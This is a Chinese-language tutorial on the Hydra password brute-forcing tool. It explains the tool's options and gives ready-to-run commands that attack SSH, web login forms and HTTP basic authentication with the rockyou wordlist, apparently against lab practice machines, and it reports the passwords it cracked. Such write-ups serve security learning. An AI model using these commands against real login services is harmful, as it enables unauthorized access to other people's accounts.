Hydra(九头蛇)-在线密码爆破程序
Hydra
在爆破工具中,hydra可是数一数二的存在,是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码
Hydra 能够暴力破解以下协议:Asterisk、AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP -POST、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTPS-POST、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MYSQL 、 NCP , NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3 、SOCKS5、SSH(v1 和 v2)、SSHKEY、Subversion、Teamspeak (TS2)、Telnet、VMware-Auth、VNC 和 XMPP
参数 | 作用 |
---|---|
-l | 指定用户名 |
-p | 指定密码 |
-L | 指定用户字典 |
-P | 指定密码字典 |
-M | 从文件中读取目标地址 |
-t | 指定爆破线程,默认为16 |
-f | 报错成功一个,就停止爆破 |
-s | 指定端口,有的服务为了安全,把服务的端口号改了,例如web服务不是80端口 |
-S | 使用SSL建立连接 |
-v/V | 显示详细爆破的详细信息,默认只会显示成功的 |
爆破常见服务
对172.16.1.105的ssh服务用户名指定uset.txt进行爆破,密码指定 pass.txt进行爆破
发现端口为开放,是因为本次实验靶机的ssh服务为 2222端口
-s
指定端口进行爆破
这里只演示了ssh
服务,其他的服务的方法都是一样的
爆破Web登录表单
需要使用的参数
参数 | 作用 |
---|---|
-l | 用户名,在用于替换^USER^ 的值 |
-P | 密码字典,在这里用于替换^PASS^ 的值 |
http-post-form | 爆破方式为form表单提交 |
/url:username=^USER^&password=^PASS^:F=keywords |
url是需要爆破的页面,username和password是form表单提交的值,keywords代表一旦页面出现这个值,爆破失败 |
示例:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.186.124 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -vV
这里会出现一个问题,那就是有时候登录表单会有很多的验证,不仅仅只携带username和password字段,这时我们可以在浏览器调试工具找到提交的信息,复制该数据到payload
中
格式:/登录页面:需要提交的字段&字段2&字段3:F=一旦拥有这个值表示登录失败
首先找到一个登录页面,尝试提交并通过浏览器查看提交信息
点击Raw转换为原始的格式
然后复制即可
回到Hydra
进行爆破,将登录页面,登录必须提交字段,登录错误的字段Login failed
根据语法拼接
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.240.12 http-post-form "/Account/login.aspx:__VIEWSTATE=a%2FRjkqW75Onl7TeJX30T8DWpuZRZqoZ3u%2BemqWKNcWVdCq5eDmfO%2FizAUuVdSIa64yqbNBelmMgG5zN3PxmES%2B3aUoMRb9El4wKxM%2B8So6rnVvqDIhqIuLvXqhA4S%2B2d1nvw80ZSw4tsLJmOOD44hVU360b5gg8hhls1OMY6R5YkYkiG&__EVENTVALIDATION=XpvWIVoa5Vp4MpyJpW0CQkjXo7cPsHY4yf%2Fr1O7eMyKtM%2FWRvhDS5tV1jdcM7utn52Awm3XerTXqWrQiMjSbjkF4%2FdfoHDeKzPsDQ6dFzFngIysHdi89C5g%2Bu%2Bwi2wA2xZBnfKJxFjS%2BvXD8q3JZYf8pIqo4KOY8XNyBsXIKPnx0%2FiM%2F&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=Login failed"
注意:更改UserName
和Password
更改为^USER^
和^PASS^
,意思将我们爆破指定的用户名和密码替换到该位置
成功爆破密码为1qaz2wsx
现在使用这种爆破方式已经很鸡肋了,因为现在大多数登录页面都添加了验证码,或者tokens值
爆破基于Web的basic(基本)认证
大概需要以下参数
-f
:目标IP-s
:目标port-l
:目标用户-P
:密码字典http-get
:使用get
方式进行basic
认证登录/protected
: 需要使用basic
认证的页面
具体如下
hydra -f tools.thm -s 80 -l bob -P rockyou.txt http-get /protected -vv
得到bob
用户的密码为bubbles